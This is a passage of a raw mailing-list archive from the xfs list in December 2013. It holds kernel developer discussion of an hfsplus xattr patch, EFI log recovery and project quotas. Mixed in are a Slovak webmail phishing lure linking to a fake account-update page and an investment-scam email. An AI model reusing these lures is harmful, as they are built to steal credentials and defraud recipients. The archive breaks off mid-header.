X-Barracuda-Envelope-From: vesele-spd@xnetpn.sk X-Barracuda-Apparent-Source-IP: 62.168.79.189 Received: from luke.xtranet.sk (localhost [127.0.0.1]) by luke.xtranet.sk (Postfix) with ESMTP id 136A4B31CD; Mon, 23 Dec 2013 09:45:34 +0100 (CET) X-Virus-Scanned: amavisd-new at xtranet.sk Received: from luke.xtranet.sk ([127.0.0.1]) by luke.xtranet.sk (luke.xtranet.sk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 03TkvbG7-rBE; Mon, 23 Dec 2013 09:45:32 +0100 (CET) Received: by luke.xtranet.sk (Postfix, from userid 80) id 18F6EB301D; Mon, 23 Dec 2013 09:38:48 +0100 (CET) To: undisclosed-recipients:; Subject: =?UTF-8?Q?V=C3=A1=C5=BEen=C3=AD=3A=20Webmail=20odberate=C4=BE?= X-PHP-Script: mail.xnetpn.sk/webmail/index.php for 41.138.180.73 X-ASG-Orig-Subj: =?UTF-8?Q?V=C3=A1=C5=BEen=C3=AD=3A=20Webmail=20odberate=C4=BE?= X-PHP-Originating-Script: 0:main.inc MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Date: Mon, 23 Dec 2013 00:38:47 -0800 From: WEBMAIL UPDATE 2013 Message-ID: X-Sender: vesele-spd@xnetpn.sk User-Agent: Roundcube Webmail/0.8.5 X-Barracuda-Connect: mail.xnetpn.sk[62.168.79.189] X-Barracuda-Start-Time: 1387788470 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA717 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143322 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_SA717 Custom Rule BSF_SC0_SA717 -- Vážení: Webmail odberateľ Oznamujeme vám, že váš e-mailový účet bol prekročený skladovacie kapacity. Nebudete môcť odosielať a prijímať e-maily a vaše e-mailový účet bude vymazaný z nášho servera. Ak sa chcete tomuto problému vyhnúť, Kliknite na odkaz nižšie pre aktualizáciu pokynov http://webmailupdate80997.jimdo.com/ Ďakujem. Manažérsky tím. From arekm@maven.pl Mon Dec 23 03:12:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6F6197F50 for ; Mon, 23 Dec 2013 03:12:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 655018F804C for ; Mon, 23 Dec 2013 01:12:26 -0800 (PST) X-ASG-Debug-ID: 1387789941-04cbb041698c25f0001-NocioJ Received: from mail-ea0-f181.google.com (mail-ea0-f181.google.com [209.85.215.181]) by cuda.sgi.com with ESMTP id AjGS0mYkN29YvhRI (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 23 Dec 2013 01:12:22 -0800 (PST) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 209.85.215.181 Received: by mail-ea0-f181.google.com with SMTP id m10so2209105eaj.40 for ; Mon, 23 Dec 2013 01:12:20 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding:message-id; bh=pd09V6mu+vwrp8lWqh2U89XDAnxf3gPsoP3C6t8apOQ=; b=A5zKEcWBHe66SnO/Qhlpa1GI5BCr1wt42gHNn2pzCvzVdg4sntkcpal/5t5ZLAP5ZJ JDXyffPQn2tCcdDj+rzTCui1uF352jEGYJTlGqQvi56pSchJfrSMhjD1gdGhWke3ETzp wCjYqXg91QawLchHp3zOdsg2qRaV7n39H5QCM= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:cc:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=pd09V6mu+vwrp8lWqh2U89XDAnxf3gPsoP3C6t8apOQ=; b=bc0MWuXzd/ah++FrrsVV2r463p2bSE0Y6Zzr4CKQkqBlbsukF4sgHcjaOV6s/dbTk3 zOu+/pJpsm/rd36GF86JjOMOF3awHK1ZBzP+hDGg00NTxBE5yNMeh4OjC51HRI2LhDPs hNLjYDA4Y5DG6Qfjm5lAkvd32dN/PS4Ur2WYzZ2Qnpf/LFIIdzIyVXI0KZHVsuXwEckt yIRCEEg6tnTFC2Jr1n1v3AxN70rQnbNE7uqiqH562faxmw30RgUBhqjDTa+c9OYX5/uH /2xtYSLUMut+WjhIeJXRoh/tsdTLYbs/GmI9wnUKKl53K0StOh58s5RcTxvc/Pd/Dwca Ozmg== X-Gm-Message-State: ALoCoQkJYViX4WmtQv3NkaG2lgqiXVwmwqwbDlMaUj33MgCYt4wYEN7lrrN+4mv8Pfu1eDInEiRt X-Received: by 10.14.210.200 with SMTP id u48mr1015221eeo.63.1387789940937; Mon, 23 Dec 2013 01:12:20 -0800 (PST) Received: from t400.localnet ([91.234.176.244]) by mx.google.com with ESMTPSA id g7sm43693558eet.12.2013.12.23.01.12.19 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 23 Dec 2013 01:12:20 -0800 (PST) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: xfs@oss.sgi.com Subject: Re: [RFC] directory quota survey on xfs Date: Mon, 23 Dec 2013 10:12:19 +0100 X-ASG-Orig-Subj: Re: [RFC] directory quota survey on xfs User-Agent: KMail/1.13.7 (Linux/3.12.6-dirty; KDE/4.12.0; x86_64; ; ) Cc: Dave Chinner , linux-ext4@vger.kernel.org, "Theodore Ts'o" , Andreas Dilger , Dmitry Monakhov , Ben Myers References: <20131222095929.GA11444@gmail.com> <20131223014222.GC3220@dastard> In-Reply-To: <20131223014222.GC3220@dastard> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201312231012.19204.arekm@maven.pl> X-Barracuda-Connect: mail-ea0-f181.google.com[209.85.215.181] X-Barracuda-Start-Time: 1387789941 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143322 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Monday 23 of December 2013, Dave Chinner wrote: > > As always, any comment or idea are welcome. >=20 > I'd suggest that you implement project quotas, not directory quotas. > They are way more flexible than pure directory quotas, but with only > a few lines of code and a special directory flag they can be used to > > implement directory subtree quotas.... Would be also nice to allow a file to belong to more than one project. Let say I want to have /projects/ with 10GB quota and /projects/projectA/ with 1GB quota /projects/projectB/ with 2GB quota and so on that's still limited by /projects/ 10GB quota limit. (and can't use user/group quota for that since the files belong to various= =20 users/groups) =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From kanekwei2@hotmail.com Mon Dec 23 06:56:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,FREEMAIL_REPLYTO autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CD9637F69 for ; Mon, 23 Dec 2013 06:56:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9D236304048 for ; Mon, 23 Dec 2013 04:56:24 -0800 (PST) X-ASG-Debug-ID: 1387803379-04bdf00fe21b4b90001-w1Z2WR Received: from kem.keminet.net ([198.154.228.179]) by cuda.sgi.com with ESMTP id SseMUhuKUh6XdaWz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Mon, 23 Dec 2013 04:56:20 -0800 (PST) X-Barracuda-Envelope-From: kanekwei2@hotmail.com X-Barracuda-Apparent-Source-IP: 198.154.228.179 Received: from localhost ([127.0.0.1]:51982) by kem.keminet.net with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.82) (envelope-from ) id 1Vv4zI-0002q9-0D; Mon, 23 Dec 2013 13:52:00 +0100 Received: from 41.138.165.254 ([41.138.165.254]) by www.korel.al (Horde Framework) with HTTP; Mon, 23 Dec 2013 13:51:59 +0100 Message-ID: <20131223135159.13513hay8nyojuo0@www.korel.al> Date: Mon, 23 Dec 2013 13:51:59 +0100 From: "Engr. Kane Kwei" Reply-To: kanekwei2013@gmail.com To: undisclosed-recipients:; Subject: Investment Representative MIME-Version: 1.0 X-ASG-Orig-Subj: Investment Representative Content-Type: text/plain; charset=ISO-8859-1; DelSp="Yes"; format="flowed" Content-Disposition: inline Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.3.11) X-OutGoing-Spam-Status: No, score=-1.6 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - kem.keminet.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - hotmail.com X-Get-Message-Sender-Via: kem.keminet.net: authenticated_id: info@korel.al X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: UNKNOWN[198.154.228.179] X-Barracuda-Start-Time: 1387803380 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.25 X-Barracuda-Spam-Status: No, SCORE=2.25 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FORGED_HOTMAIL_RCVD, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143326 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 2.15 FORGED_HOTMAIL_RCVD Forged hotmail.com 'Received:' header found 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Attention, Our investment financial programme is deemed at giving financial credits to legitimate firms and individual at an interest rate of 5% to 10% per annum for 5 to 10 years renewable tenure. My idea is target at growing entrepreneurs and businessmen in the world. I also wish to bring to your notice our company interest to partner with someone, individuals and corporate bodies alike in great business opportunities. We are currently seeking means of expanding and relocating our business interest in the Following sectors: banking, real estate, stock speculation and mining, transportation, Manufacturing, tobacco etc. If you think you have a solid background and idea of making good profit in any of the mentioned business sectors in your country; please write me for possible business co-operation. More so, we are ready to facilitate and fund any business that is capable of generating 5% to 10% annual return on investment (AROI).JV partnership and loan financing can also be considered. Contact me for further details Engr. Kane Kwei Representative. From BATV+d629d9684961c9ff91b7+3774+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 23 08:37:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 69FA47F4E for ; Mon, 23 Dec 2013 08:37:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 54579304075 for ; Mon, 23 Dec 2013 06:37:33 -0800 (PST) X-ASG-Debug-ID: 1387809451-04cbb041688ccad0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id YwiJdgpP4kUtEATL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 23 Dec 2013 06:37:31 -0800 (PST) X-Barracuda-Envelope-From: BATV+d629d9684961c9ff91b7+3774+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vv6d0-0004En-In; Mon, 23 Dec 2013 14:37:06 +0000 Date: Mon, 23 Dec 2013 06:37:06 -0800 From: Christoph Hellwig To: Vyacheslav Dubeyko Cc: Christoph Hellwig , viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: Re: [PATCH 21/21] hfsplus: remove can_set_xattr Message-ID: <20131223143706.GA8235@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 21/21] hfsplus: remove can_set_xattr References: <20131220131635.650823732@bombadil.infradead.org> <20131220132524.900291394@bombadil.infradead.org> <636E01BC-12FD-452B-8B1C-320B6EADAEFD@dubeyko.com> <20131222192818.GA32565@infradead.org> <1387780809.3991.21.camel@slavad-ubuntu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1387780809.3991.21.camel@slavad-ubuntu> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1387809451 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143328 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Dec 23, 2013 at 10:40:09AM +0400, Vyacheslav Dubeyko wrote: > Maybe I missed something, but I can see that this check is removed only. > Could you point out the code in your patch that it checks and forbids > such combination as "osx.security.*", "osx.trusted.*" and so on? @@ -941,6 +857,9 @@ static int hfsplus_osx_setxattr(struct dentry *dentry, const char *name, if (len > HFSPLUS_ATTR_MAX_STRLEN) return -EOPNOTSUPP; + if (is_known_namespace(name)) + return -EOPNOTSUPP; + > I can see that is_known_namespace() is called for > hfsplus_xattr_osx_handler only. But this method doesn't contain > above-mentioned check. Moreover, hfsplus_xattr_user_handler, > hfsplus_xattr_trusted_handler, hfsplus_xattr_security_handler will be > without is_know_namespace() check. What about it? They only allow you to set user.*, trusted.* and security.* attributs, because the only get called for it. For osx.* attributes the osx handler gets called, and passed the name minus the osx prefix, which is why the above check will catch it. > Why bad design? Do you mean that using .removexattr callback is bad > idea? Using the handlers for set and get and not using them for remove is a bad design, because it uses different levels of abstraction for related operations. I'm also increasingly of the opnion that we should not allow the non-handler version, and that we should not permit filesystems to create their own namespaces, but that's an unrelated discussion. > So, if it needs to use xattr handler only for removing then it needs to > make some refactoring of using __hfsplus_setxattr() and > hfsplus_removexattr() or merging these two functions into one. And I > think that merging is better idea. I've not done the full merge, but below is an updated patch to make sure hfsplus uses the handlers for the remove case, and making sure the adding/striping of the prefix for the osv handlers is more transparent: diff --git a/fs/hfsplus/dir.c b/fs/hfsplus/dir.c index 9ee6298..bdec665 100644 --- a/fs/hfsplus/dir.c +++ b/fs/hfsplus/dir.c @@ -529,7 +529,7 @@ const struct inode_operations hfsplus_dir_inode_operations = { .setxattr = generic_setxattr, .getxattr = generic_getxattr, .listxattr = hfsplus_listxattr, - .removexattr = hfsplus_removexattr, + .removexattr = generic_removexattr, #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL .get_acl = hfsplus_get_posix_acl, .set_acl = hfsplus_set_posix_acl, diff --git a/fs/hfsplus/inode.c b/fs/hfsplus/inode.c index 2e10993..83c9166 100644 --- a/fs/hfsplus/inode.c +++ b/fs/hfsplus/inode.c @@ -390,7 +390,7 @@ static const struct inode_operations hfsplus_file_inode_operations = { .setxattr = generic_setxattr, .getxattr = generic_getxattr, .listxattr = hfsplus_listxattr, - .removexattr = hfsplus_removexattr, + .removexattr = generic_removexattr, #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL .get_acl = hfsplus_get_posix_acl, .set_acl = hfsplus_set_posix_acl, diff --git a/fs/hfsplus/xattr.c b/fs/hfsplus/xattr.c index bf88baa..c838b84 100644 --- a/fs/hfsplus/xattr.c +++ b/fs/hfsplus/xattr.c @@ -11,6 +11,8 @@ #include "xattr.h" #include "acl.h" +static int hfsplus_removexattr(struct inode *inode, const char *name); + const struct xattr_handler *hfsplus_xattr_handlers[] = { &hfsplus_xattr_osx_handler, &hfsplus_xattr_user_handler, @@ -52,82 +54,6 @@ static inline int is_known_namespace(const char *name) return true; } -static int can_set_system_xattr(struct inode *inode, const char *name, - const void *value, size_t size) -{ -#ifdef CONFIG_HFSPLUS_FS_POSIX_ACL - struct posix_acl *acl; - int err; - - if (!inode_owner_or_capable(inode)) - return -EPERM; - - /* - * POSIX_ACL_XATTR_ACCESS is tied to i_mode - */ - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - err = posix_acl_equiv_mode(acl, &inode->i_mode); - posix_acl_release(acl); - if (err < 0) - return err; - mark_inode_dirty(inode); - } - /* - * We're changing the ACL. Get rid of the cached one - */ - forget_cached_acl(inode, ACL_TYPE_ACCESS); - - return 0; - } else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - posix_acl_release(acl); - - /* - * We're changing the default ACL. Get rid of the cached one - */ - forget_cached_acl(inode, ACL_TYPE_DEFAULT); - - return 0; - } -#endif /* CONFIG_HFSPLUS_FS_POSIX_ACL */ - return -EOPNOTSUPP; -} - -static int can_set_xattr(struct inode *inode, const char *name, - const void *value, size_t value_len) -{ - if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) - return can_set_system_xattr(inode, name, value, value_len); - - if (!strncmp(name, XATTR_MAC_OSX_PREFIX, XATTR_MAC_OSX_PREFIX_LEN)) { - /* - * This makes sure that we aren't trying to set an - * attribute in a different namespace by prefixing it - * with "osx." - */ - if (is_known_namespace(name + XATTR_MAC_OSX_PREFIX_LEN)) - return -EOPNOTSUPP; - - return 0; - } - - /* - * Don't allow setting an attribute in an unknown namespace. - */ - if (strncmp(name, XATTR_TRUSTED_PREFIX, XATTR_TRUSTED_PREFIX_LEN) && - strncmp(name, XATTR_SECURITY_PREFIX, XATTR_SECURITY_PREFIX_LEN) && - strncmp(name, XATTR_USER_PREFIX, XATTR_USER_PREFIX_LEN)) - return -EOPNOTSUPP; - - return 0; -} - static void hfsplus_init_header_node(struct inode *attr_file, u32 clump_size, char *buf, u16 node_size) @@ -350,18 +276,8 @@ int __hfsplus_setxattr(struct inode *inode, const char *name, HFSPLUS_IS_RSRC(inode)) return -EOPNOTSUPP; - err = can_set_xattr(inode, name, value, size); - if (err) - return err; - - if (strncmp(name, XATTR_MAC_OSX_PREFIX, - XATTR_MAC_OSX_PREFIX_LEN) == 0) - name += XATTR_MAC_OSX_PREFIX_LEN; - - if (value == NULL) { - value = ""; - size = 0; - } + if (value == NULL) + return hfsplus_removexattr(inode, name); err = hfs_find_init(HFSPLUS_SB(inode->i_sb)->cat_tree, &cat_fd); if (err) { @@ -577,18 +493,6 @@ ssize_t __hfsplus_getxattr(struct inode *inode, const char *name, HFSPLUS_IS_RSRC(inode)) return -EOPNOTSUPP; - if (strncmp(name, XATTR_MAC_OSX_PREFIX, - XATTR_MAC_OSX_PREFIX_LEN) == 0) { - /* skip "osx." prefix */ - name += XATTR_MAC_OSX_PREFIX_LEN; - /* - * Don't allow retrieving properly prefixed attributes - * by prepending them with "osx." - */ - if (is_known_namespace(name)) - return -EOPNOTSUPP; - } - if (!strcmp_xattr_finder_info(name)) return hfsplus_getxattr_finder_info(inode, value, size); @@ -823,32 +727,18 @@ end_listxattr: return res; } -int hfsplus_removexattr(struct dentry *dentry, const char *name) +static int hfsplus_removexattr(struct inode *inode, const char *name) { int err = 0; - struct inode *inode = dentry->d_inode; struct hfs_find_data cat_fd; u16 flags; u16 cat_entry_type; int is_xattr_acl_deleted = 0; int is_all_xattrs_deleted = 0; - if ((!S_ISREG(inode->i_mode) && - !S_ISDIR(inode->i_mode)) || - HFSPLUS_IS_RSRC(inode)) - return -EOPNOTSUPP; - if (!HFSPLUS_SB(inode->i_sb)->attr_tree) return -EOPNOTSUPP; - err = can_set_xattr(inode, name, NULL, 0); - if (err) - return err; - - if (strncmp(name, XATTR_MAC_OSX_PREFIX, - XATTR_MAC_OSX_PREFIX_LEN) == 0) - name += XATTR_MAC_OSX_PREFIX_LEN; - if (!strcmp_xattr_finder_info(name)) return -EOPNOTSUPP; @@ -922,8 +812,12 @@ static int hfsplus_osx_getxattr(struct dentry *dentry, const char *name, if (len > HFSPLUS_ATTR_MAX_STRLEN) return -EOPNOTSUPP; - strcpy(xattr_name, XATTR_MAC_OSX_PREFIX); - strcpy(xattr_name + XATTR_MAC_OSX_PREFIX_LEN, name); + /* + * Don't allow retrieving properly prefixed attributes + * by prepending them with "osx." + */ + if (is_known_namespace(name)) + return -EOPNOTSUPP; return hfsplus_getxattr(dentry, xattr_name, buffer, size); } @@ -941,8 +835,12 @@ static int hfsplus_osx_setxattr(struct dentry *dentry, const char *name, if (len > HFSPLUS_ATTR_MAX_STRLEN) return -EOPNOTSUPP; - strcpy(xattr_name, XATTR_MAC_OSX_PREFIX); - strcpy(xattr_name + XATTR_MAC_OSX_PREFIX_LEN, name); + /* + * Don't allow setting properly prefixed attributes + * by prepending them with "osx." + */ + if (is_known_namespace(name)) + return -EOPNOTSUPP; return hfsplus_setxattr(dentry, xattr_name, buffer, size, flags); } diff --git a/fs/hfsplus/xattr.h b/fs/hfsplus/xattr.h index 9e21449..288530c 100644 --- a/fs/hfsplus/xattr.h +++ b/fs/hfsplus/xattr.h @@ -40,8 +40,6 @@ static inline ssize_t hfsplus_getxattr(struct dentry *dentry, ssize_t hfsplus_listxattr(struct dentry *dentry, char *buffer, size_t size); -int hfsplus_removexattr(struct dentry *dentry, const char *name); - int hfsplus_init_security(struct inode *inode, struct inode *dir, const struct qstr *qstr); From tinguely@sgi.com Mon Dec 23 10:42:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 020CF7F57 for ; Mon, 23 Dec 2013 10:42:28 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay1.corp.sgi.com (Postfix) with ESMTP id CA45E8F8070; Mon, 23 Dec 2013 08:42:24 -0800 (PST) Message-ID: <52B867F1.2030804@sgi.com> Date: Mon, 23 Dec 2013 10:42:25 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Christoph Hellwig CC: xfs@oss.sgi.com Subject: Re: [PATCH v3] xfs: free the efi AIL entry on log recovery failure References: <20131206212037.560711585@sgi.com> <20131208005224.696001432@sgi.com> <20131211113126.GA6248@infradead.org> In-Reply-To: <20131211113126.GA6248@infradead.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sorry it took me so long to get to this. I like the idea to keep the majority of EFI items off the AIL, but it does not simply the EFI recovery processing. xfs_recover_process_efi() will place the EFI entry on the AIL and recreate the hanging on unmount problem when there is an error in the extent free or transaction commit. Since the patch removes the XFS_EFI_RECOVERED flag/code, it is harder to remove this entry. If you leave the XFS_EFI_RECOVERED flag/code in XFS, the patch to avoid a hang in xfs_ail_push_all_sync() will be the same as before. As you commented, it does leak some memory, which can be easily fixed... On 12/11/13 05:31, Christoph Hellwig wrote > Use a cancellation table, similar to how we handle buffers instead of > abusing the AIL during recovery. > > Signed-off-by: Christoph Hellwig > --- ... > @@ -3059,82 +3065,50 @@ xlog_recover_efi_pass2( > struct xlog_recover_item *item, > xfs_lsn_t lsn) > { > - int error; > - xfs_mount_t *mp = log->l_mp; > - xfs_efi_log_item_t *efip; > - xfs_efi_log_format_t *efi_formatp; > + struct xfs_efi_cancel *ecp; > + int error; > + xfs_mount_t *mp = log->l_mp; > + xfs_efi_log_format_t *efi_formatp; typedef got leaked back in. ... > @@ -3618,27 +3592,26 @@ xlog_recover_process_data( > } > > /* > - * Process an extent free intent item that was recovered from > - * the log. We need to free the extents that it describes. > + * Process an extent free intent item that was recovered from the log. > + * We need to free the extents that it describes. > */ > STATIC int > xlog_recover_process_efi( > - xfs_mount_t *mp, > - xfs_efi_log_item_t *efip) > + struct xlog *log, > + struct xfs_efi_cancel *ecp) > { > - xfs_efd_log_item_t *efdp; > - xfs_trans_t *tp; > - int i; > - int error = 0; > - xfs_extent_t *extp; > + struct xfs_mount *mp = log->l_mp; > + struct xfs_efi_log_item *efip = ecp->ec_efip; > + struct xfs_efd_log_item *efdp; > + struct xfs_trans *tp; > + struct xfs_extent *extp; > xfs_fsblock_t startblock_fsb; > - > - ASSERT(!test_bit(XFS_EFI_RECOVERED,&efip->efi_flags)); > + int error = 0; > + int i; > > /* > - * First check the validity of the extents described by the > - * EFI. If any are bad, then assume that all are bad and > - * just toss the EFI. > + * First check the validity of the extents described by the EFI. > + * If any are bad, then assume that all are bad and just toss the EFI. > */ > for (i = 0; i< efip->efi_format.efi_nextents; i++) { > extp =&(efip->efi_format.efi_extents[i]); > @@ -3652,12 +3625,14 @@ xlog_recover_process_efi( > * This will pull the EFI from the AIL and > * free the memory associated with it. > */ > - set_bit(XFS_EFI_RECOVERED,&efip->efi_flags); > xfs_efi_release(efip, efip->efi_format.efi_nextents); > return XFS_ERROR(EIO); > } > } Soo at this point we are dealing with the EFIs that do not have matching EFD. The EFI are in the new l_efi_cancel and not on the AIL. I am correct in thinking that there is no reason to do a xfs_efi_release() above? > > + spin_lock(&log->l_ailp->xa_lock); > + xfs_trans_ail_update(log->l_ailp,&efip->efi_item, ecp->ec_lsn); we now added the EFI to the AIL. If anything fails in the xfs_free_extent()/xfs_trans_commit then EFI has to be removed which is now trickier without the XFS_EFI_RECOVERED flag. I suppose we could: 1) leave the XFS_EFI_RECOVERED counter/code. 2) manually decrease the counter. * 3) manually remove the entry from the AIL. * * terrible hack that everyone will NACK. > - */ > STATIC int > xlog_recover_process_efis( > struct xlog *log) > { ... > - spin_lock(&ailp->xa_lock); > + list_for_each_entry_safe(ecp, next,&log->l_efi_cancel, ec_list) { > + list_del(&ecp->ec_list); > + error = xlog_recover_process_efi(log, ecp); > if (error) > - goto out; > - lip = xfs_trans_ail_cursor_next(ailp,&cur); > + break; /* XXX: will leak remaining EFIs.. */ ...rather than leaking the rest of the efi cancel entries: /* comment here about removing entries on error */ if (!error) error = xlog_recover_process_efi(log, ecp); Again, sorry for the delay. I will wait to see what you want to do with this patch before resubmitting the patch to free EFI from the AIL. --Mark. From prvs=506908e109=clm@fb.com Mon Dec 23 10:59:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4662B7F6B for ; Mon, 23 Dec 2013 